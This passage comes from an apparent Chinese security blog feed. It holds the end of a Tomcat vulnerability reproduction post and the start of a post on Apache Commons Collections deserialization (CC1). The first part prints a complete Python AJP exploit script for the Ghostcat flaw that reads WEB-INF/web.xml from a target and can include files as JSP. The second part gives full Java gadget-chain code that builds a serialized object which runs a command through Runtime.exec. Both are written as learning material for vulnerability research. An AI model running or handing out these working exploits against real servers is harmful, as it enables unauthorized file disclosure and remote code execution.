stream</span>):</span><br><span class="line">rlen, = unpack(stream, <span class="string">&quot;&gt;H&quot;</span>)</span><br><span class="line"><span class="keyword">return</span> rlen</span><br><span class="line"></span><br><span class="line"><span class="meta">@staticmethod</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">receive</span>(<span class="params">stream</span>):</span><br><span class="line">r = AjpResponse()</span><br><span class="line">r.parse(stream)</span><br><span class="line"><span class="keyword">return</span> r</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">prepare_ajp_forward_request</span>(<span class="params">target_host, req_uri, method=AjpForwardRequest.GET</span>):</span><br><span class="line">fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)</span><br><span class="line">fr.method = method</span><br><span class="line">fr.protocol = <span class="string">&quot;HTTP/1.1&quot;</span></span><br><span class="line">fr.req_uri = req_uri</span><br><span class="line">fr.remote_addr = target_host</span><br><span class="line">fr.remote_host = <span class="literal">None</span></span><br><span class="line">fr.server_name = target_host</span><br><span class="line">fr.server_port = <span class="number">80</span></span><br><span class="line">fr.request_headers = &#123;</span><br><span class="line"><span class="string">&#x27;SC_REQ_ACCEPT&#x27;</span>: <span class="string">&#x27;text/html&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;SC_REQ_CONNECTION&#x27;</span>: <span class="string">&#x27;keep-alive&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;SC_REQ_CONTENT_LENGTH&#x27;</span>: <span class="string">&#x27;0&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;SC_REQ_HOST&#x27;</span>: target_host,</span><br><span class="line"><span class="string">&#x27;SC_REQ_USER_AGENT&#x27;</span>: <span class="string">&#x27;Mozilla&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;Accept-Encoding&#x27;</span>: <span class="string">&#x27;gzip, deflate, sdch&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;Accept-Language&#x27;</span>: <span class="string">&#x27;en-US,en;q=0.5&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;Upgrade-Insecure-Requests&#x27;</span>: <span class="string">&#x27;1&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;Cache-Control&#x27;</span>: <span class="string">&#x27;max-age=0&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line">fr.is_ssl = <span class="literal">False</span></span><br><span class="line">fr.attributes = []</span><br><span class="line"><span class="keyword">return</span> fr</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Tomcat</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, target_host, target_port</span>):</span><br><span class="line"><span class="variable language_">self</span>.target_host = target_host</span><br><span class="line"><span class="variable language_">self</span>.target_port = target_port</span><br><span class="line"></span><br><span class="line"><span class="variable language_">self</span>.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line"><span class="variable language_">self</span>.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, <span class="number">1</span>)</span><br><span class="line"><span class="variable language_">self</span>.socket.connect((target_host, target_port))</span><br><span class="line"><span class="variable language_">self</span>.stream = <span class="variable language_">self</span>.socket.makefile(<span class="string">&quot;rb&quot;</span>, buffering=<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">perform_request</span>(<span class="params">self, req_uri, headers=&#123;&#125;, method=<span class="string">&#x27;GET&#x27;</span>, user=<span class="literal">None</span>, password=<span class="literal">None</span>, attributes=[]</span>):</span><br><span class="line"><span class="variable language_">self</span>.req_uri = req_uri</span><br><span class="line"><span class="variable language_">self</span>.forward_request = prepare_ajp_forward_request(<span class="variable language_">self</span>.target_host, <span class="variable language_">self</span>.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Getting resource at ajp13://%s:%d%s&quot;</span> % (<span class="variable language_">self</span>.target_host, <span class="variable language_">self</span>.target_port, req_uri))</span><br><span class="line"><span class="keyword">if</span> user <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span> <span class="keyword">and</span> password <span class="keyword">is</span> <span class="keyword">not</span> <span class="literal">None</span>:</span><br><span class="line"><span class="variable language_">self</span>.forward_request.request_headers[<span class="string">&#x27;SC_REQ_AUTHORIZATION&#x27;</span>] = <span class="string">&quot;Basic &quot;</span> + (<span class="string">&quot;%s:%s&quot;</span> % (user, password)).encode(<span class="string">&#x27;base64&#x27;</span>).replace(<span class="string">&#x27;\n&#x27;</span>, <span class="string">&#x27;&#x27;</span>)</span><br><span class="line"><span class="keyword">for</span> h <span class="keyword">in</span> headers:</span><br><span class="line"><span class="variable language_">self</span>.forward_request.request_headers[h] = headers[h]</span><br><span class="line"><span class="keyword">for</span> a <span class="keyword">in</span> attributes:</span><br><span class="line"><span class="variable language_">self</span>.forward_request.attributes.append(a)</span><br><span class="line">responses = <span class="variable language_">self</span>.forward_request.send_and_receive(<span class="variable language_">self</span>.socket, <span class="variable language_">self</span>.stream)</span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(responses) == <span class="number">0</span>:</span><br><span class="line"><span class="keyword">return</span> <span class="literal">None</span>, <span class="literal">None</span></span><br><span class="line">snd_hdrs_res = responses[<span class="number">0</span>]</span><br><span class="line">data_res = responses[<span class="number">1</span>:-<span class="number">1</span>]</span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(data_res) == <span class="number">0</span>:</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;No data in response. Headers:%s\n&quot;</span> % snd_hdrs_res.response_headers)</span><br><span class="line"><span class="keyword">return</span> snd_hdrs_res, data_res</span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">javax.servlet.include.request_uri</span></span><br><span class="line"><span class="string">javax.servlet.include.path_info</span></span><br><span class="line"><span class="string">javax.servlet.include.servlet_path</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> argparse</span><br><span class="line">parser = argparse.ArgumentParser()</span><br><span class="line">parser.add_argument(<span class="string">&quot;target&quot;</span>, <span class="built_in">type</span>=<span class="built_in">str</span>, <span class="built_in">help</span>=<span class="string">&quot;Hostname or IP to attack&quot;</span>)</span><br><span class="line">parser.add_argument(<span class="string">&#x27;-p&#x27;</span>, <span class="string">&#x27;--port&#x27;</span>, <span class="built_in">type</span>=<span class="built_in">int</span>, default=<span class="number">8009</span>, <span class="built_in">help</span>=<span class="string">&quot;AJP port to attack (default is 8009)&quot;</span>)</span><br><span class="line">parser.add_argument(<span class="string">&quot;-f&quot;</span>, <span class="string">&#x27;--file&#x27;</span>, <span class="built_in">type</span>=<span class="built_in">str</span>, default=<span class="string">&#x27;WEB-INF/web.xml&#x27;</span>, <span class="built_in">help</span>=<span class="string">&quot;file path :(WEB-INF/web.xml)&quot;</span>)</span><br><span class="line">args = parser.parse_args()</span><br><span class="line">t = Tomcat(args.target, args.port)</span><br><span class="line">_,data = t.perform_request(<span class="string">&#x27;/asdf&#x27;</span>,attributes=[</span><br><span class="line">    &#123;<span class="string">&#x27;name&#x27;</span>:<span class="string">&#x27;req_attribute&#x27;</span>,<span class="string">&#x27;value&#x27;</span>:[<span class="string">&#x27;javax.servlet.include.request_uri&#x27;</span>,<span class="string">&#x27;/&#x27;</span>]&#125;,</span><br><span class="line">    &#123;<span class="string">&#x27;name&#x27;</span>:<span class="string">&#x27;req_attribute&#x27;</span>,<span class="string">&#x27;value&#x27;</span>:[<span class="string">&#x27;javax.servlet.include.path_info&#x27;</span>,args.file]&#125;,</span><br><span class="line">    &#123;<span class="string">&#x27;name&#x27;</span>:<span class="string">&#x27;req_attribute&#x27;</span>,<span class="string">&#x27;value&#x27;</span>:[<span class="string">&#x27;javax.servlet.include.servlet_path&#x27;</span>,<span class="string">&#x27;/&#x27;</span>]&#125;,</span><br><span class="line">    ])</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;----------------------------&#x27;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;&quot;</span>.join([d.data.decode(<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">for</span> d <span class="keyword">in</span> data]))</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>继续远程调试tomcat</p><p>在AbstractAjpProcessor的prepareRequest()打断点</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260415105123002.png" alt="image-20260415105123002"></p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260415105148662.png" alt="image-20260415105148662"></p><p>在这个request.setAttribute里面共设置了3个参数值</p><p><code>javax.servlet.include.request_uri</code>  &#x2F;</p><p><code>javax.servlet.include.path_info </code> WEB-INF&#x2F;web.xml</p><p><code>javax.servlet.include.servlet_path</code> &#x2F;</p><p>这里设置3个参数值 使得后续tomcat会去请求响应相应资源并返回</p><p>此时request的参数已经设置好了</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260415105510432.png" alt="image-20260415105510432"></p><p>来到service这里 调用adapter的service</p><p>之后又会进入DefaultServlet的doGet处</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260415105543563.png" alt="image-20260415105543563"></p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260415110341034.png" alt="image-20260415110341034"></p><p>跟进getRelativePath</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260415110537635.png" alt="image-20260415110537635"></p><p>根据之前的参数值 最终返回了请求路径&#x2F;WEB-INF&#x2F;web.xml</p><p>之后就是返回路径中的内容了</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260415112844350.png" alt="image-20260415112844350"></p><p>脚本里面请求路径改成&#x2F;asdf.jsp即可实现文件包含 此时对应的Servlet就会是jspServlet去处理请求的资源 会解析文件内容为jsp</p><p><img src="E:\blog_back\source_posts\tomcat历史漏洞复现\image-20260415113016013.png" alt="image-20260415113016013"></p><p>http的Process遇到&#x2F;WEB-INF会自动检测到 如何不返回内容</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;历史漏洞复现&quot;&gt;&lt;a href=&quot;#历史漏洞复现&quot; class=&quot;headerlink&quot; title=&quot;历史漏洞复现&quot;&gt;&lt;/a&gt;历史漏洞复现&lt;/h2&gt;&lt;h2 id=&quot;CVE-2017-12615-PUT-方法任意文件上传&quot;&gt;&lt;a href=&quot;#CVE-2017-1</summary>
      
    
    
    
    <category term="Java安全" scheme="http://example.com/categories/Java%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="知识" scheme="http://example.com/tags/%E7%9F%A5%E8%AF%86/"/>
    
    <category term="java" scheme="http://example.com/tags/java/"/>
    
    <category term="CVE" scheme="http://example.com/tags/CVE/"/>
    
  </entry>
  
  <entry>
    <title>CC链学习</title>
    <link href="http://example.com/2026/03/20/CC%E9%93%BE/"/>
    <id>http://example.com/2026/03/20/CC%E9%93%BE/</id>
    <published>2026-03-20T04:55:44.000Z</published>
    <updated>2026-05-28T08:25:15.861Z</updated>
    
    <content type="html"><![CDATA[<h1 id="CC链"><a href="#CC链" class="headerlink" title="CC链"></a>CC链</h1><p>根据apache commons提供的一个组件apache commons collections所提供的类触发的一些列反序列化链子 简称CC链</p><p><img src="/2026/03/20/CC%E9%93%BE/image-20260319141406197.png" alt="image-20260319141406197"></p><h2 id="CC1"><a href="#CC1" class="headerlink" title="CC1"></a>CC1</h2><h3 id="Apache-Commons-Collections反序列化漏洞-CC1"><a href="#Apache-Commons-Collections反序列化漏洞-CC1" class="headerlink" title="Apache Commons Collections反序列化漏洞 (CC1)"></a>Apache Commons Collections反序列化漏洞 (CC1)</h3><p>添加依赖包 jdk版本为8u20</p><p><img src="/2026/03/20/CC%E9%93%BE/image-20260319201431997.png" alt="image-20260319201431997"></p><p>调用需要的类:</p><p><code>ConstantTransformer</code> </p><p><code>InvokeTrasnformer</code></p><p> <code>ChainedTransformer</code>  </p><p><code>TransformMap</code></p><p><code>AnnotationInvocationHandler</code></p><p><strong>ConstantTransformer</strong> </p><p>transform方法将传入的类对象原封不动的返回</p><p><img src="/2026/03/20/CC%E9%93%BE/image-20260318193122342.png" alt="image-20260318193122342"></p><p><strong>InvokeTrasnformer</strong> </p><p>该类的transform方法主要实现了反序列化执行rce</p><p>构造实例的时候传入方法和参数类型与参数</p><p>当调用<strong>transform方法</strong>的时候 会先在传入的对象的Class类中查找该方法 并<strong>执行传入的方法</strong></p><p><img src="/2026/03/20/CC%E9%93%BE/image-20260320122821274.png" alt="image-20260320122821274"></p><p><img src="/2026/03/20/CC%E9%93%BE/image-20260318193243405.png" alt="image-20260318193243405"></p><h3 id="通过InvokeTrasnformer-rce"><a href="#通过InvokeTrasnformer-rce" class="headerlink" title="通过InvokeTrasnformer  rce"></a>通过InvokeTrasnformer  rce</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">unSerilize</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span>&#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">method</span> <span class="operator">=</span> <span class="string">&quot;exec&quot;</span>;</span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">it</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;);</span><br><span class="line">        it.transform(Runtime.getRuntime());</span><br><span class="line">        <span class="comment">//最终结果是调用Runtime对象中的exec方法执行calc命令</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><strong>ChainedTransformer</strong></p><p> ChainedTransformer类的transform方法会链式调用transformers数组中的每个Transformer的transform方法</p><p><img src="/2026/03/20/CC%E9%93%BE/image-20260318194737941.png" alt="image-20260318194737941"></p><h3 id="通过ChainedTransformer-rce"><a href="#通过ChainedTransformer-rce" class="headerlink" title="通过ChainedTransformer rce"></a>通过ChainedTransformer rce</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.*;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ChainTransformer1</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">//构造恶意Transformer类</span></span><br><span class="line"></span><br><span class="line">        <span class="type">ConstantTransformer</span> <span class="variable">constantTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class);</span><br><span class="line"></span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer1</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getMethod&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class, Class[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>]&#125;);<span class="comment">//返回Runtime.getRuntime()方法类对象</span></span><br><span class="line"></span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer2</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>, <span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]&#125;);</span><br><span class="line"></span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer3</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformers</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(<span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;constantTransformer, invokerTransformer1, invokerTransformer2, invokerTransformer3&#125;);</span><br><span class="line"></span><br><span class="line">        chainedTransformers.transform(<span class="literal">null</span>);</span><br><span class="line">        </span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>TransformerMap</strong></p><p>我们需要TransformedMap类将我们上面构造好的链子打包在这个类中 等待触发</p><p>由于该类的构造器是受保护的 我们可以直接通过decorate方法创建一个实例</p><p><img src="/2026/03/20/CC%E9%93%BE/image-20260320123956554.png" alt="image-20260320123956554"></p><p><img src="/2026/03/20/CC%E9%93%BE/image-20260320123931976.png" alt="image-20260320123931976"></p><p>我们现在需要寻找的是一个<strong>可以触发transform方法</strong>的方法</p><p>只要<strong>触发了transform方法</strong> 就可以导致rce 执行我们已经构造好的恶意链中的代码</p><p>TransformMap类中的<strong>checkSetValue&#x2F;put&#x2F;putall</strong>都会触发<strong>transform方法</strong></p><p>调用SetValue()方法的时候 最后还是会调用我们的(受保护的方法)checkSetValue()方法 </p><p><img src="/2026/03/20/CC%E9%93%BE/image-20260320124659601.png" alt="image-20260320124659601"></p><p><img src="/2026/03/20/CC%E9%93%BE/image-20260320124819531.png" alt="image-20260320124819531"></p><p><img src="/2026/03/20/CC%E9%93%BE/image-20260320124928790.png" alt="image-20260320124928790"></p><h3 id="核心类AnnotationInvocationHandler"><a href="#核心类AnnotationInvocationHandler" class="headerlink" title="核心类AnnotationInvocationHandler"></a>核心类AnnotationInvocationHandler</h3><p>全限定包名<code>sun.reflect.annotation.AnnotationInvocationHandler</code></p><p>由于这个是一个jdk中的内部包 所有无法直接创建实例 只能通过放射的方法创建实例</p><p>该类允许序列化 并且当反序列化的时候 会触发getValue() 因此也是我们的触发类 </p><p><img src="/2026/03/20/CC%E9%93%BE/image-20260320130322430.png" alt="image-20260320130322430"></p><p>调用代码</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Target;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.util.Arrays;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Cc1</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">//构造恶意Transformer类</span></span><br><span class="line"></span><br><span class="line">        <span class="type">ConstantTransformer</span> <span class="variable">constantTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class);</span><br><span class="line"><span class="comment">//getMethod.invoke(Runtime.class,Object[]&#123;&quot;getRuntime&quot;,new Class[0]&#125;)</span></span><br><span class="line">        <span class="comment">//Runtime.class.getMethod(&quot;getRuntime&quot;,new Class[0])</span></span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer1</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getMethod&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class,Class[].class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>]&#125;);<span class="comment">//返回Runtime.getRuntime()方法类对象</span></span><br><span class="line">        </span><br><span class="line"><span class="comment">//invoke.invoke(Runtime.getRuntime(),Object[]&#123;null,new Object[0]&#125;)</span></span><br><span class="line">        <span class="comment">//Runtime.getRuntime().invoke(null,new Object[0])</span></span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer2</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class,Object[].class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>,<span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]&#125;);<span class="comment">//返回Runtime对象</span></span><br><span class="line"><span class="comment">//exec(new Runtime(),&quot;calc&quot;)</span></span><br><span class="line">        <span class="comment">//Runtime.getRuntime().exec(&quot;calc&quot;)</span></span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer3</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="type">Transformer</span> <span class="variable">chainedTransformers</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(<span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;constantTransformer,invokerTransformer1,invokerTransformer2,invokerTransformer3&#125;);</span><br><span class="line"></span><br><span class="line">        <span class="type">Map</span> <span class="variable">map</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line">        <span class="comment">//这里一定要是填入value</span></span><br><span class="line">        map.put(<span class="string">&quot;value&quot;</span>,<span class="string">&quot;value&quot;</span>);</span><br><span class="line"><span class="comment">//将map 和 chainedTransformers恶意链装进TransformedMap</span></span><br><span class="line">        <span class="type">Map</span> <span class="variable">t</span> <span class="operator">=</span> TransformedMap.decorate(map,<span class="literal">null</span>,chainedTransformers);</span><br><span class="line">        <span class="comment">//恶意类构造完毕</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">//实例化触发漏洞核心类</span></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">//反射创建AnnotationInvocationHandler实例</span></span><br><span class="line">            <span class="type">Class</span> <span class="variable">a</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;</span>);</span><br><span class="line"></span><br><span class="line">            <span class="type">Constructor</span> <span class="variable">constructor</span> <span class="operator">=</span> a.getDeclaredConstructor(Class.class,Map.class);</span><br><span class="line"><span class="comment">//强行绕过权限</span></span><br><span class="line">            constructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">            <span class="type">Object</span> <span class="variable">instance</span> <span class="operator">=</span> constructor.newInstance(Target.class,t);</span><br><span class="line"></span><br><span class="line">            <span class="type">ByteArrayOutputStream</span> <span class="variable">baos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line"></span><br><span class="line">            <span class="type">ObjectOutputStream</span> <span class="variable">out</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(baos);</span><br><span class="line"></span><br><span class="line">            out.writeObject(instance);</span><br><span class="line">            out.flush();</span><br><span class="line">            out.close();</span><br><span class="line"></span><br><span class="line">            <span class="type">byte</span>[] bytes = baos.toByteArray() ;</span><br><span class="line"></span><br><span class="line">            System.out.println(<span class="string">&quot;序列化成功:&quot;</span> + <span class="string">&quot;\t&quot;</span>+ Arrays.toString(bytes));</span><br><span class="line"></span><br><span class="line">            <span class="type">ByteArrayInputStream</span> <span class="variable">nais</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(bytes);</span><br><span class="line"></span><br><span class="line">            <span class="type">ObjectInputStream</span> <span class="variable">in</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(nais);</span><br><span class="line"></span><br><span class="line">            in.readObject();</span><br><span class="line"></span><br><span class="line">            System.out.println(<span class="string">&quot;反序列化成功!&quot;</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>调用链</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">ObjectInputStream.readObject()</span><br><span class="line">    AnnotationInvocationHandler.readObject()</span><br><span class="line">        MapEntry.setValue()</span><br><span class="line">            TransformedMap.checkSetValue()</span><br><span class="line">                ChainedTransformer.transform()</span><br><span class="line">                    ConstantTransformer.transform()</span><br><span class="line">                    InvokerTransformer.transform()</span><br><span class="line">                        Method.invoke()</span><br><span class="line">                            Class.getMethod()</span><br><span class="line">                    InvokerTransformer.transform()</span><br><span class="line">                        Method.invoke()</span><br><span class="line">                            Runtime.getRuntime()</span><br><span class="line">              